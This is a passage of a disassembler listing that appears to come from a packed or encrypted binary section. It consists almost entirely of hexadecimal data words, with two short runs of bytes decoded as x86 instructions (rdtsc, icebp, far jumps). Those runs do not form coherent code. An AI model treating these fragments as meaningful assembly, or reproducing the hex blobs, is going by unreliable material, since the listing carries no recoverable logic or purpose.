		dd 7BFFBF09h, 13B6246Fh, 60FEE091h, 0E04171B4h,	8ADC8FECh
		dd 371700FCh, 0A2B8669Ch, 0F3A261C1h, 3B82A912h, 945D0319h
		dd 4DA42197h, 192DB52Dh, 1201CCE9h, 784A5B6Ah, 0D41250BBh
		dd 95F362C4h, 0F7B7185Fh, 0F4045B9h, 0E1C72581h, 99760D8h
		dd 0C0F96D72h, 0F9B5030Ah, 2DBA9501h, 0FC4B1A75h, 0AFB89079h
		dd 0CF239D2Ch, 3972F560h, 0D8210002h, 708C20FEh, 0F204C36Bh
		dd 0C02BD5F6h, 12EA728Ch, 0ADBF590Dh, 0AEB9F4A4h, 556EAA4Fh
		dd 699D7B3Dh, 0E767414Eh, 1012E888h, 39244548h,	9E891E3Fh
		dd 0A59964B1h, 0AC9CC7E0h, 0D3F45A20h, 25EF905Bh, 0C7ED177Fh
		dd 0E0000811h, 0A1C94AE5h, 744E1C27h, 0E000116Eh, 1FE852CFh
		dd 88590D8Eh, 0C8F878h,	50D749EBh, 0A0C4430h, 294D4498h
		dd 8CA64B02h, 90331CB2h, 0D10159h, 0B3A39FAh, 2EDB8168h
		dd 388F8312h, 0A9D283EDh, 44BA8FBh, 0F94005F4h,	500BEBEAh
		dd 5E007631h, 1EE449Dh,	0A6122D19h, 47176B94h, 0BCFC64E8h
		dd 4A77A399h, 80C99B31h, 0BA562351h, 9C6209E0h,	6876A410h
		dd 251446D4h, 160950E8h, 23564CAh, 61042A6Eh, 6060915Eh
		dd 4BD99533h, 31A89130h, 71B8042Bh, 82DFDF48h, 97871FB7h
		dd 38797041h, 0D15B2D58h, 0E70464D9h, 0CBB7385Ch, 0BF3463CAh
		dd 0FF6FEE2Ah, 2122D400h, 5208DF8h, 2D01D8A6h, 46F08FFDh
		dd 3660B067h, 8E9497D9h, 1C134B45h, 8955D859h, 0CB510202h
		dd 0C19D2960h, 0DF927AFEh, 9B2A63F1h, 21BC81D8h, 7BD828D2h
		dd 8BAE15E8h, 0DF003DFEh, 0B98E06BEh, 899755A7h, 6544875Fh
		dd 660C76B9h, 0EB8031F2h, 0F84ACDDBh, 5ED22ECDh, 3FD3680Ch
		dd 209D0650h, 502F0AD1h, 2AB21060h, 6C8800C6h, 26FFB6A5h
		dd 17014449h, 0A2C1DEAFh, 202E735Bh, 47A4FC93h,	0DAD1FD3Fh
		dd 0B2FE55D4h, 0C5FC0F46h, 0E00F61D2h, 0CB3FB761h, 0C7BA61D2h
		dd 7A6E13B9h, 84F500CCh, 348B68CAh, 81BA30D9h, 45CF748Ah
		dd 4CDB3FE3h, 900A9AC0h, 771C1B95h, 22529D31h, 23C947B9h
		dd 892CC9FDh, 88B39A2Bh, 0C180C414h, 38FCD426h,	70C60408h
		dd 9A9437E9h, 237A6BAFh, 37D2011Ah, 0C7EA7A71h,	4BBCB99Ch
		dd 3FA001E7h, 48012A76h, 56E02E88h, 8BC5F5A9h, 9BE2532Eh
		dd 0E08DCF73h, 2616538h, 0FE2325B9h, 1A64E4CDh,	6065FB64h
		dd 0BBCDA608h, 4D950461h, 0CF282E1Bh, 94148808h, 70B97102h
		dd 60AE259Eh, 970EFC9Fh, 0EF80D003h, 73539691h,	8FF9004Eh
		dd 980DC3BCh, 49F10042h, 248D34ADh, 5CB57D47h, 9870A5CBh
		dd 5C20604Bh, 0F9F58Bh,	0C3BE1255h, 0AD9C7597h,	0C0105A4Ch
		dd 0D342DD3h, 0CD30F973h, 9B965F5Fh, 0BDC880E1h, 2FD2F43h
		dd 13D27A89h, 802F0DE8h, 98C174B8h, 0FA300006h,	38CA8C92h
		dd 589866A3h, 4A2A10BCh, 8052379Fh, 17400367h, 9101D65Bh
		dd 0F3C4ED8h, 293ADFBFh, 6282F1EDh, 0DE8A0720h,	841BF50h
		dd 523A0955h, 0FD1AAAF5h, 0DB3A7F25h, 1E848F42h, 2F16895Fh
		dd 3BF0888h, 384D287Ah,	14E2971Ch, 0E46FE520h, 0CC500063h
		dd 68FAE62Bh, 0C80F3024h, 3D99DB41h, 56C7A75Eh,	58245B5Fh
		dd 1D14B4C7h, 2EBD2DBAh, 8D807BDAh, 488C1809h, 10504A26h
		dd 0AB846C09h, 7000DBB6h, 0BE00E922h, 0EA69C868h, 4D8A2467h
		dd 8B826BFCh, 0B1ED61D8h, 1C15EAE0h, 3D662D02h,	2E21EB61h
		dd 0B65EA88Fh, 632EE0F7h, 9260422h, 0AF0119B5h,	0D364B638h
		dd 0CF6F65h, 0C664AE37h, 138AE092h, 0F2B5291Dh,	20C44C32h
		dd 4BE9350Bh, 0E1C1A639h, 0C83E9597h, 3E017076h, 4AAF5C2h
		dd 0F8E3F6A7h, 4B64287Bh, 0B89DCEC8h, 3C0B9529h, 0D2D05A53h
		dd 79560030h, 18989307h, 0F95880B5h, 26E910B4h,	0CE8A6001h
		dd 73058E0Fh, 35C9047Fh, 0DABC61D5h, 2D04AEA1h,	35E879h
		dd 3F2308FCh, 9EBC5CC7h, 80F1FC9Dh, 73566A37h, 860B7CCCh
		dd 98765952h, 98FB58Fh,	0E1502E38h, 63625016h, 0C29D8997h
		dd 0ECDF543Dh, 0F4B55F2h, 9B3AF8DDh, 38228004h,	0FA962CCBh
		dd 3FCF1603h, 0CD27C2D3h, 6A15860h, 5C213A9Dh, 6654E9EDh
		dd 70FB5D4h, 0BD5D1DCCh, 5295EB5h, 88860F96h, 32B560AEh
		dd 9E71D82Eh, 0BB1630EFh, 0C2326563h, 4D96202Bh, 9BBCE02Dh
		dd 0FFA1562h, 322CBBE0h, 0B508FC28h, 123B261Eh,	0B279E6DEh
		dd 4E61301Dh, 71EACB00h, 0DA9997B7h, 271A98EDh,	1D450DD5h
		dd 0D690ACh, 0B218FFC8h, 15595365h, 5EC8495Fh, 3B341EF3h
		dd 0F781C0C1h, 329331BFh, 0DFF8ECACh, 2FA8E309h, 0AFFE7B0Bh
		dd 501FD935h, 7CBF57CBh, 1646D661h, 9A7C2005h, 0C021AC60h
		dd 0BE665E50h, 61C427CBh, 0B5D630BAh, 0D00F5FD4h, 55BFA536h
		dd 7E398F12h, 322514FCh, 3525BCDBh, 6FAF001Ah, 1C91520Eh
		dd 0FCDBE4Bh, 7772C17Ah, 0C0DE2EE7h, 855B3CC0h,	0F53B4BFEh
		dd 0C41AA5B9h, 9CEB3EE0h, 37358301h, 3E0AFF2Ah,	0A74B29CAh
		dd 0E79A4BD7h, 0C6C24982h, 0A9F7EB42h, 9B887843h, 0B0F0F3E8h
		dd 92903A92h, 66330525h, 45A54A32h, 0D55185D2h,	0A92ABB25h
		dd 84030B80h, 310465C8h, 14C1BD33h, 0C8D28DE9h,	0D100ED89h
		dd 66D76F2Eh, 4C81B8h, 0C2050EF8h, 89315C2Ah, 57E962BFh
		dd 620AD781h, 0A7CD2A50h, 70595BF2h, 0BB048AEEh, 23ED56FCh
		dd 23D66BBAh, 0F2C80019h, 661F105Dh, 3120CDB8h,	80B6C52Ah
		dd 0F967BEA8h, 1E0B3162h, 0F62C3945h, 64730E80h, 2B00CB75h
		dd 0B345A1B7h, 404A42h,	16E5B4D4h, 5096987Dh, 0AD5153h
		dd 0B3847CEAh, 0B90F53h, 0CDC3FC76h, 0BF208762h, 5F244874h
		dd 990A0496h, 0D452FE13h, 1AB94071h, 79004347h,	1737186Ah
		dd 939BEC8h, 1F562E46h,	0F3AD7AD1h, 51DA731Bh, 455BDDh
		dd 0ED4313BBh, 95153140h, 84510F6Dh, 87E8FA8Ah,	0C5A08D6h
		dd 822FD9AFh, 325B531h,	2EEB15DFh, 0B4FED4C8h, 0E151181Ch
		dd 77E0CA39h, 5F072C5Ch, 0A3DA13B0h, 8D291280h,	0ED1956AEh
		dd 73BF09ECh, 6243D1C1h, 0F8D5BD2Bh, 0B3E9254Ch, 606044D8h
		dd 850BCA58h, 611B405Dh, 8622EB98h, 0B9660904h,	4305E1B2h
		dd 8B1205EDh, 0C1889BC1h, 2C6C4193h, 13CA57CCh,	1606491h
		dd 0E80554B8h, 9DEC3E14h, 0C7C4D7B0h, 7A70B01h,	1E83DEE1h
		dd 0F261F0C0h, 63D41D0Dh, 30E98C40h, 421C0331h,	1293A91h
		dd 50E918D6h, 0CAC56B05h, 25228403h, 0C8C2642Ah, 0EDC460Ch
		dd 82246A65h, 0A04049CFh, 919E4A7Bh, 0FD69BB00h, 0D90A9CF2h
		dd 268000D6h, 0D3652B24h, 8A3DB8DFh, 99C905AAh,	0B0BA988Ch
		dd 3D0025D4h, 18CA5C32h
		dd 0AEF617h, 126AB3BCh,	606EDAD5h, 5B35F200h, 95A60634h
		dd 0EF1D00CFh, 7E824DE1h, 741E633Ah, 674F2720h,	0CE8FC3F8h
		dd 88A8D3D3h, 0B553B8h,	0E01E818h, 0CF9603E0h, 5BC96707h
		dd 0EAF37D2Dh, 776FF0F1h, 325400DCh, 1BB7C8D6h,	930F55F4h
		dd 20C77C16h, 0CEC102A0h, 2D1E0088h, 211C7622h,	10001FCAh
		dd 4D251BE2h, 84409Ch, 0BBCD728Bh, 0E3A48A8h, 44FC0101h
		dd 7A75F62Ch, 64CF4E0h,	5FC92F43h, 0E71D3CEDh, 4EC0508Dh
		dd 86B99E92h, 0E0A6C088h, 0B38B95AEh, 0FCDEB04h, 0FBA95AFFh
		dd 7270AB5Bh, 0BE5844h,	0F26F8A3Ch, 5F91995Eh, 0E2DAC40Ch
		dd 44AC407Fh, 43607C01h, 0D63D2AABh, 821B0314h,	8C4BFB9Ch
		dd 0ACD84E00h, 64D0803Eh, 174360F3h, 2DFCB4C0h,	1D12D71Dh
		dd 0B05EF106h, 39B7001Dh, 7B31B871h, 36EE2EE8h,	4C66002h
		dd 0DDCB450Bh, 38039E5Ah, 0E11DD637h, 0B1F80093h, 55F1BDAAh
		dd 62001631h, 45FD3BCCh, 0A2044Ah, 0A1F3AFA0h, 28C1A9A6h
		dd 1E0011FEh, 0D168A8Fh, 0CF4F3B13h, 25197DEh, 0AA58FF2Bh
		dd 0B91640F5h, 984630C9h, 0E311AF0Fh, 0D77D8F2Dh, 8DFD5630h
		dd 0FAF5770Dh, 0D9964123h, 0AA8B9h, 0C206C043h,	3B87CDh
		dd 27679E9h, 9E6F60E0h,	8C834603h, 0A8841471h, 1FA66563h
		dd 0C09DB57Dh, 6CB1BEAAh, 320C46F4h, 0B2220428h, 125B444Ah
		dd 2629650Dh, 0F1F875F8h, 54F2C0A7h, 0EA5E84ECh, 3C18E512h
		dd 7480C11Fh, 0F76B800Eh, 75DF0B0h, 0F275ABCFh,	4EC1F034h
		dd 48C07EA0h, 0AF9B09A7h, 0E4EB0555h, 21106A8Ch, 2424D7FDh
		dd 0C06421Dh, 0EF21E5FBh, 7C9A0098h, 2ED61415h,	0D5265D4Eh
		dd 4447B8A2h, 7D353AA0h, 8243060Fh, 491AC84Fh, 6D9B2900h
		dd 959A4490h, 9FCB0008h, 6AC59171h, 1204ED69h, 0F93FC81Eh
		dd 6C0D8180h, 60D00084h, 0A6FAA4EFh, 4490A9D5h,	6388BA00h
		dd 197FEDE2h, 0B65D008Fh, 0F060BDB2h, 0AE02A1A6h, 17464030h
		dd 670DD3Bh, 0BE202E1Ch, 54056D07h, 70D8A070h, 0F7650383h
		dd 35E56A26h, 32C985B0h, 4DF28606h, 10649Bh, 17D15206h
		dd 0FC4E4AD5h, 9FE41D00h, 3173D957h, 55FA0C37h,	0A22C3CA5h
		dd 5981601h, 7CAAAD19h,	7D8B1784h, 7423932Bh, 6B64E6D0h
		dd 8FD9921Eh, 0BFB0B207h, 0A0AF9763h, 49E309DCh, 8701C55Eh
		dd 0BAFEF16Dh, 29B96E40h, 99E9AFA0h, 0D0DF0B00h, 0C51F13CDh
		dd 74F01E1Bh, 0E430027Bh, 0A640917Ah, 1300DC21h, 4AF43235h
		dd 0A0A8A7A1h, 1177DFFh, 22EF59ABh, 806DFD2Dh, 40FE0ABAh
		dd 3F183BDh, 313B7F70h,	0A61CF00Dh, 204D45h, 0DB6BB4EBh
		dd 82B0A76Ah, 81015292h, 1B57C573h, 1480A674h, 0AB94EE4Fh
		dd 0E37ECCA4h, 0F1397A00h, 0D7458E06h, 7137B36h, 24F974Dh
		dd 59A5A7DEh, 0B09D1501h, 35E4206Fh, 0F9040B00h, 40D73347h
		dd 0CF30C072h, 29262771h, 0BDD5BB0Dh, 80F299BFh, 0AF17A89Ah
		dd 92EE2C94h, 47B3010Ch, 808922D0h, 9F9321A6h, 50A3EC63h
		dd 48A8AB92h, 7B7540F8h, 8D7252C8h, 1AE30076h, 0D6105226h
		dd 514C4D9h, 947FD0h, 9F6E61DCh, 949B45h, 0ABBCEC09h, 0A05E4B19h
		dd 0CFF74C00h, 0BF481851h, 949879h, 0CCC30290h,	56B0F31h
		dd 0C6498500h, 0C984F518h, 99910E2Fh, 500054BCh, 9AD7163Fh
		dd 0ED1BCF00h, 151AC410h, 0B0AC1288h, 76DD005Bh, 9A954D97h
		dd 0B2E60300h, 0F9F677B1h, 4ADE004Bh, 742088B9h, 7E01EE04h
		dd 91CD3971h, 13E43225h, 64CF6692h, 14010D0Fh, 888FFB98h
		dd 1296125Ah, 458601E9h, 40F53BE2h, 0FA643C92h,	0BAE228ECh
		dd 0C0CE3Eh, 93DD6658h,	4884EA8Eh, 1C80580Ah, 0B04D4286h
		dd 47E88000h, 0D5AC6E9Eh, 0DDC5D4A3h, 934DD700h, 871D019Ch
		dd 7BA8405Ah, 0FED4FD0Fh, 900ED6A0h, 5100B798h,	4E0605EBh
		dd 0C9293Ah, 0AA4CFA9Dh, 87889504h, 0EC0D5760h,	5B350h
		dd 3A35376Dh, 97B8F454h, 0FC216760h, 1FA2840h, 78A64748h
		dd 80DB0B0Ch, 938681Dh,	2E08806h, 0C54A8742h, 1201AB15h
		dd 0A8D068E6h, 894F2DD8h, 7B809DFh, 59C1C1E0h, 2D830836h
		dd 0BC6AE11Fh, 0D94B5700h, 0BFF3616Eh, 90784EEEh, 73F60C23h
		dd 0D95E7C00h, 649442ECh, 0E9632D17h, 609817D7h, 5404EC83h
		dd 24778F73h, 680606DEh, 3E885D35h, 6F781C89h, 140F99C8h
		dd 81BD5500h, 237E8642h, 9C1CC179h, 0EB8F5B29h,	0F54BA5Dh
		dd 172CD518h, 0A3F0535Ah, 0A3470E42h, 8A28F18h,	0A7D2B850h
		dd 81D0010Ah, 580C1130h, 0C5A32FFh, 8B04C483h, 890A5792h
		dd 35C781E7h, 0D52D0621h, 73E9DA80h, 0FF5AFB96h, 2DB8628Ch
		dd 12D7E716h, 5C884068h, 46530001h, 0ACFE2419h,	93E2065h
		dd 0AB4C807Ah, 0D35EE51Fh, 6B830389h, 540EC614h, 4988E1A0h
		dd 0FB52A70Fh, 8A08604Dh, 0E8230Fh, 9F5D2031h, 27171619h
		dd 0E939650Ch, 12F8A31Eh, 9B10C4BDh, 967888B5h,	4F1240B6h
		dd 67C19798h, 0A300E67Fh, 89CFC001h, 9242B1Fh, 0E110356Eh
		dd 0FE284680h, 0B00414Eh, 0EBA1AE99h, 3808FB9h,	1F3048CAh
		dd 0C9B9A5EFh, 29EDD974h, 0A4682B5h, 0BA8E48F8h, 0E9E54D15h
		dd 0A2D66201h, 7478EA3Ch, 6C35E3CDh, 0E0BB1FBEh, 2E0F185Ch
		dd 8B111EC5h, 3EAE0154h, 2781E919h, 0FFAEC27Eh,	7D7A74A5h
		dd 0FC1C2700h, 0AB5D90D2h, 293E2C4Eh, 0B2C64196h, 93653070h
		dd 60DD3705h, 0BE80588Bh, 2DD01351h, 2DF79DFh, 50362DB6h
		dd 0E7A0F31h, 7238D909h, 5E16D26Eh, 321FD804h, 2AEC7703h
		dd 5C7AB039h, 687B35h, 9BFFE6BCh, 0D332D0EEh, 6008D100h
		dd 0C15682FEh, 4A0B6011h, 5B889A16h, 86DC5400h,	4CB24B44h
		dd 6F7F7E10h, 0D8A1220Ah, 803CEF50h, 0E364BA11h, 718503h
		dd 0BB6D7A0Ch, 0FCC04A2Eh, 16A6F25Ch, 67B56CB2h, 0D3C0F262h
		dd 3CD7CA44h, 0CBAF080Eh, 0BB306099h, 167E010h,	0EBE1F44Bh
		dd 405E64CAh, 0D1FFAB8Bh, 0F3DF6807h, 0DAB0B8EDh, 2614C403h
		dd 1F495B3h, 231B051Eh,	6F7E8835h, 8C3D9201h, 0EB5D32F9h
		dd 1B4E0018h, 1FC40205h, 0CE3A0010h, 0EF838CB4h, 84188BB5h
		dd 7908BED4h, 4DB300C7h, 0ACA3A7FDh, 661269DAh,	0A490F812h
		dd 49FB09h, 73F03246h, 0DCAB4FECh, 0A0B32B1Eh, 0A7AF5F46h
		dd 38B426A4h, 6EBA017Ah, 0D1DF35D5h, 169E2D61h,	8405151Dh
		dd 6BC03E14h, 754CA875h, 0C4CB0091h, 74890739h,	860C8117h
		dd 0E808B498h, 20F70111h, 88B6D912h, 9F6880C9h,	299B6361h
		dd 57A812C0h, 73A5B57Fh, 6AD501FDh, 2A589865h, 0B5A0B30h
		dd 0DB5C50C5h, 0C110410Bh, 5F2CAEA1h, 930EBD96h, 0DD1480ECh
		dd 489DEBFh, 386E0250h,	3A0AB02Fh, 0BAEA9C01h, 70AE3BF1h
		dd 486AD6F4h, 0D900E118h, 0ECE17967h, 3700720Ah, 27234129h
		dd 8FD528h, 5348555Ah, 60544ADDh, 2EDCB464h, 0F00222ADh
		dd 3D639384h, 0C4020F70h, 77129219h, 552E580Ch,	9B406ED8h
		dd 2E1B4DEAh, 929CE08h,	4214CD3Fh, 23282CF6h, 0A02CECB5h
		dd 8400D53Fh, 39B781B4h, 0B2652EE4h, 0CCCF00D2h, 4F7769FAh
		dd 8981D67h, 0B40BD68Eh, 6BC048D7h, 0EA18273Fh,	0CB79D300h
		dd 4A6AF89Fh, 0C7006011h, 8D8243B5h, 84765DDh, 0F1D00F70h
		dd 57B6B9C0h, 4BFE96EAh, 5F059A01h, 6555CFEh, 0D5E05A31h
		dd 52B8C056h, 0B7E2A826h, 4D3D6902h, 0E06281CAh, 7CE8465Dh
		dd 0DC4F5C67h, 82304C02h, 0B28B217Bh, 38EF040Eh, 3FABA300h
		dd 0B2E3B50h, 180EC99Eh, 0C06280ECh, 18F40906h,	1A9DA355h
		dd 0FE65A0Eh
		dd 7CD2DD09h, 8E5FC02Ah, 4A53005Ch, 0E56CF372h,	310006EFh
		dd 61BC2A55h, 1B12E1Bh,	0BE258876h, 0E4FF6DE6h,	6207E5BBh
		dd 0E063A540h, 90C98603h, 1C20DF22h, 0CE3E640Ch, 9524D03h
		dd 6684DC1Dh, 5E1923Ch,	84E61059h, 6E173014h, 86902CF2h
		dd 244C4316h, 818AFAh, 23A13E28h, 2AF45817h, 0BD3F7E3h
		dd 0C9D4DB05h, 0E14A4E80h, 5A009CA7h, 7FABE7E8h, 0A0C82AD8h
		dd 0B08B3987h, 0C7FF3DD8h, 980A465h, 2C001882h,	6556AAA8h
		dd 0D36C5501h, 67E41B1Fh, 6BA0E24h, 0CD7D124Eh,	5A0CAA59h
		dd 0F79A92Eh, 5196028Eh, 3248205Eh, 255D50DFh, 2D80FECCh
		dd 2856B7C5h, 640BDA7Dh, 6D3A799h, 481E8D4Eh, 119A3527h
		dd 0E19135A7h, 0E06E6876h, 0AE0092FDh, 3B84B1F9h, 241C336Fh
		dd 627ADCEh, 0B4858AC6h, 36D20EC0h, 0AF921h, 0AAD8C173h
		dd 0F55BE9C6h, 0CD755D30h, 0A60F65EFh, 0EA360099h, 7C96C2BEh
		dd 0BE902EC5h, 0F8788503h, 0E5C48FB0h, 7B89D801h, 0FC07CA2h
		dd 648240DFh, 0F4262EB4h, 0DB222D40h, 904D00A7h, 55C3CC7Bh
		dd 0C7307ADDh, 7C0A3083h, 2A251626h, 64C8FA46h,	0EDB90007h
		dd 6A3A9ABDh, 2D00CF9Bh, 34360E9Fh, 517DE23Bh, 0F0F3D22Bh
		dd 6048A8AFh, 215F9487h, 91255771h, 531F80E4h, 1284E107h
		dd 30308AECh, 0AC74E53Bh, 4EFAD500h, 0F4FB65BFh, 0F6220B9Eh
		dd 37A0B161h, 636CDEB6h, 28A69A0Fh, 0BF20E040h,	84A7D7h
		dd 7DEE8D11h, 0B756C472h, 1EAC9000h, 0FDB3E052h, 6015966Ah
		dd 9F09395Eh, 1EBED100h, 5A5590E2h, 239D4F43h, 0D0A5DCB6h
		dd 0F0A9C16Bh, 2A4B3DFEh, 0F70DE902h, 0D000E375h, 0AD82EB7h
		dd 0F91F13F6h, 2C816C2h, 3AF77166h, 0D2357FE0h,	6563BE03h
		dd 0F157F617h, 0D8310704h, 8480B8DDh, 0D341FF0Dh, 0ABC1CCAh
		dd 0E18B2E92h
		db 0E0h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		and	eax, 7F20B850h
		add	ebp, eax
		pop	eax
		cmp	dword ptr [ecx-13h], 0FFFFFFB7h
		aam	4Ch
		push	es
		push	3C1E659Ah
		mov	[eax+edi*8], edi
		xor	ebx, [esi+3Fh]
		adc	[ebx+eax*8], ecx
		push	edx
		enter	620Dh, 0CDh
		pop	es
		sub	eax, 69E2815Ah
		sub	byte ptr [ebx+58h], 55h
		mov	ebp, 0F261BE01h
		rdtsc
		jmp	far ptr	0AE86h:42B0FF5Dh
; ---------------------------------------------------------------------------
		add	[ecx], eax
		mov	edi, edx
		pop	edx
		push	esp
		mov	ecx, [edi+ebp*2]
		test	eax, 711B875Ah
		or	[edx+edi*4-5Eh], al
		icebp
		cmp	eax, 5A3A12CAh
		sub	ch, 59h
		sub	al, 0Fh
		pop	edi
		mov	cl, ch
		xchg	eax, ebp
		cmp	eax, 8180FB90h
		dec	ebx
		idiv	byte ptr [ecx+ecx]
		mov	eax, 30EC4AF7h
		fstp	qword ptr [eax+esi]
		retf	3400h
; ---------------------------------------------------------------------------
		db 5Eh
		dd 82568153h, 0EEF01E11h, 5D039176h, 3E092360h,	290D847h
		dd 0DF870429h, 80F3E758h, 37E46ADDh, 0D1E66100h, 705B3431h
		dd 1B7A1Ch, 80279D5Dh, 2253CBFEh, 666E9B03h, 0A8568AD5h
		dd 5B82C65Eh, 896ABF7Fh, 0EE6B984Fh, 270431E6h,	50F1B22Ch
		dd 668027BCh, 5A4BE0B9h, 28C1584Bh, 526A5FD1h, 2B48E155h
		dd 9B3B2FE5h, 8192CFBBh, 1518529h, 23E43F6Fh, 2D84001Ah
		dd 8AF9A08Fh, 0BC84C4Eh, 0C8E31F26h, 0C79A401Ah, 8C690231h
		dd 9C934B14h, 0EF8B149Fh, 958904E9h, 5DFB3105h,	0F8F9896Ah
		dd 73F61AF0h, 0AA1EB08Bh, 0F4596833h, 8D01DEB9h, 0B8E9A4BEh
		dd 203F49AAh, 0A5213992h, 6A952905h, 316F9B4Ch,	311D1C00h
		dd 0C8ECCB78h, 5F5AFCF2h, 0A6D3B6A3h, 66C2E0BDh, 0C1D15AFFh
		dd 7F2B2E40h, 2EE6FC29h, 3E7287CAh, 4FE88625h, 6A776160h
		dd 0E026ED95h, 58FB5F93h, 90796195h, 0A873C47Bh, 7B8A80ABh
		dd 7962D7h, 60963ABh, 0ABD3957h, 0D1A51901h, 90994116h
		dd 160C6E7Ah, 9BBDD125h, 92B5891Ch, 272DBE22h, 0E90127F9h
		dd 0ADB33AC3h, 410B9589h, 1FDE357Ch, 9212B68Eh,	588B2E8h
		dd 66A5DC94h, 3995E305h, 5B2FABBCh, 0A70DBF3h, 980E660h
		dd 0D98BBECFh, 5FF5BAD5h, 4D4284CDh, 0C8305D99h, 2140059Dh
		dd 9ED70081h, 900B276Bh, 32130CBFh, 4D115216h, 5B830172h
		dd 0DAEDEF2h, 0AA65202Eh, 9D00F6CAh, 8A8F1724h,	1766282h
		dd 0FED33537h, 0D18B5989h, 758C3A61h, 75B100F1h, 0EAEB1396h
		dd 0C65F5A11h, 0D85F5DE2h, 9D2A8B7Ah, 0B0BFE859h, 2D8D2980h
		dd 30F50E99h, 0F82BB77h, 6A371384h, 89C8B892h, 60E6FCEDh
		dd 545B4D1Dh, 0B5FF5709h, 5643A4A9h, 5F9E09EBh,	29C41E54h
		dd 0B0DF1E58h, 0E676E8B5h, 62A69870h, 71E47DC9h, 58EBD040h
		dd 0DBD2E85Fh, 90BB230Ah, 1618E9B3h, 0ADDCC8B6h, 0D8FC822Ah
		dd 62815144h, 5F0326A5h, 0FCDB500Fh, 1CC18C3Bh,	50234085h
		dd 0F9142CCh, 0E68BBF5Bh, 0C80018F1h, 0A6396C5h, 0A45C17CFh
		dd 1E0F1A7h, 2204B1FEh,	0C911098h, 6EC82B18h, 2F5819DFh
		dd 7D1E623Eh, 0CF1A0C0Ah, 0E95C8F09h, 480A79A1h, 312D0D84h
		dd 7F04D957h, 5582F070h, 34AF006Dh, 0C6BBE407h,	9100B6FFh
		dd 437AD038h, 442AA182h, 853A0139h, 920F5841h, 58EC1AABh
		dd 0FC609B7Fh, 40BF6640h, 5364E960h, 21EF0113h,	7FEFB705h
		dd 2F4ACA36h, 0CAEC1C81h, 86A7365Ah, 3A424300h,	0FCD598C6h
		dd 50A1A800h, 635D579Ah, 0DBB2BF1Bh, 9099C65Fh,	27808402h
		dd 98EBBD03h, 97E1A617h, 4177CBF6h, 0F4E7075Ch,	0AECCBE1Fh
		dd 2A014119h, 167ED3B1h, 0EC4CED98h, 5BF301E5h,	0F28B0C2h
		dd 42A86F80h, 0B99B86C0h, 2AE10E10h, 0EFF182E6h, 0B15FC784h
		dd 6EBAD984h, 924F39AAh, 0FB9FC4Eh, 0E11DCCB8h,	0F72CAFB5h
		dd 29C2AA60h, 791D0954h, 310205BCh, 18090949h, 0AE70F74h
		dd 0F486C660h, 527E09D8h, 55271AD5h, 0C2277FE2h, 76D309BAh
		dd 0AB465FDAh, 4D9D0B13h, 568D78ABh, 0DAF3800Ah, 78DECE5Fh
		dd 0D8F1767h, 0EC18F988h, 616D01DFh, 4D7C29FAh,	0E57121E4h
		dd 0A9747F32h, 550F85D2h, 5DAB08C5h, 721B2E58h,	1FE1616h
		dd 5BB6A056h, 0E86A45B5h, 16465CCEh, 2C09B53Ah,	83A4E3B3h
		dd 0C9330E12h, 0BFF2F079h, 7B47A014h, 7F3979E0h, 9BD2B205h
		dd 0C4078428h, 0D30B818Dh, 8C8E00EDh, 41E4C5E6h, 4E995F24h
		dd 1EDEAD68h, 8018EC3Bh, 0BB669C7Bh, 98BFE3B1h,	4F9D09B1h
		dd 0A1B4883Dh, 0E1FFF0A8h, 6BFF8790h, 0A4E29817h, 3FDE9389h
		dd 0AA3716F6h, 166AECCEh, 24A82855h, 0B3227CE2h, 5192FEB8h
		dd 0CF5DFE37h, 490841F6h, 0C2E7D4A6h, 0BE60C42Eh, 5A8039DEh
		dd 0E956EB25h, 79C44AFh, 409F43EDh, 353E5013h, 4B4BD804h
		dd 700051A3h, 2D09A8F4h, 93005B82h, 549C066Ch, 4B7AF66h
		dd 0BB61BC75h, 0D08882ADh, 0BEFCA2E2h, 0D9810F0Bh, 0F4D89725h
		dd 14130C1h, 757B8AD9h,	8524EC36h, 0C6FD24B7h, 0A9D5D989h
		dd 80763723h, 82B305F9h, 26E8A0B1h, 0D03D7397h,	20FA688Bh
		dd 3BAB2A3Bh, 7E9660FBh, 0B754F4E3h, 6A010B37h,	8BA0B5B8h
		dd 3012243Fh, 52F8D0D4h, 0A6FC2B00h, 0B919F62Eh, 8D091208h
		dd 27D5EC3Dh, 0AB96FB5Fh, 77015878h, 8299BF3Fh,	0C2DA2EF3h
		dd 2D047562h, 229FBE85h, 6F599D80h, 6A00CF88h, 46E6BF9Eh
		dd 4D7D8D31h, 9272E30h,	0D6301208h, 357A6A00h, 0ECD01A98h
		dd 0DC9A275Fh, 0ECB8E56h, 60ABF3CFh, 4DC3818Eh,	2F16825Ch
		dd 0B7C3E4DAh, 3DE9BDCh, 0BFFAE550h, 46D29325h,	0B5B16C75h
		dd 8101C144h, 0EF92F2E7h, 57FA893Eh, 5CC9096Dh,	0D381C0F6h
		dd 8924CFF6h, 80CFA578h, 0D5046AC7h, 0BE89BF31h, 5DC07D6h
		dd 3A3C5938h, 0E604AE30h, 61052DE1h, 80FFF896h,	2EF3C1Ch
		dd 385B96C7h, 0A1FAA980h, 0B4BFFCF2h, 0E4202602h, 0C0DA8B32h
		dd 4FE0B79Fh, 7A6E96h, 31D37626h, 903D9FD6h, 155209Dh
		dd 0DC6B3A9Ch, 0BBCA2FEEh, 814CB7FDh, 0BBBA1337h, 0B3287F4Ch
		dd 130A60E9h, 79AEF28Bh, 299EF01h, 50449EC1h, 51531DEFh
		dd 0D15AC5Fh, 3C15898Ah, 83F2965Bh, 69D55FC1h, 0A6B63B5Dh
		dd 0A9D7A8F0h, 218C41B7h, 90B0747Fh, 8C96BFAAh,	0AF54DE26h
		dd 0C1FB4DAFh, 0C0705BA9h, 9F137B12h, 486E4C08h, 7071623h
		dd 0FC1561F4h, 0FAF486FCh, 1927866Ah, 0E65CB109h, 34E2FE17h
		dd 4C315E8Dh, 0AF00016Ah, 4DE17498h, 5F9B77h, 0F8176773h
		dd 0E3B63133h, 0EA161813h, 88225180h, 5D7EA5Bh,	331CC17Bh
		dd 50E1BBE9h, 1BF6E6Eh,	0A9C94280h, 0BE204572h,	284927B5h
		dd 9D59F22h, 80C48009h,	0BF6C6E1Eh, 71727E9Dh, 1D0F008Eh
		dd 0EFEC40F2h, 0A35B7202h, 0A2A42196h, 0F62432A9h, 0C012DC91h
		dd 7417E79Ah, 0E38C73E2h, 7EEA814Dh, 4D9C5312h,	44D0072Ch
		dd 0A5880903h, 0F868010Eh, 0E478C43Ah, 722620CAh, 0E65F862Dh
		dd 3AEE9F66h, 0B7036520h, 30F639C2h, 558D8961h,	0BB02F63Ch
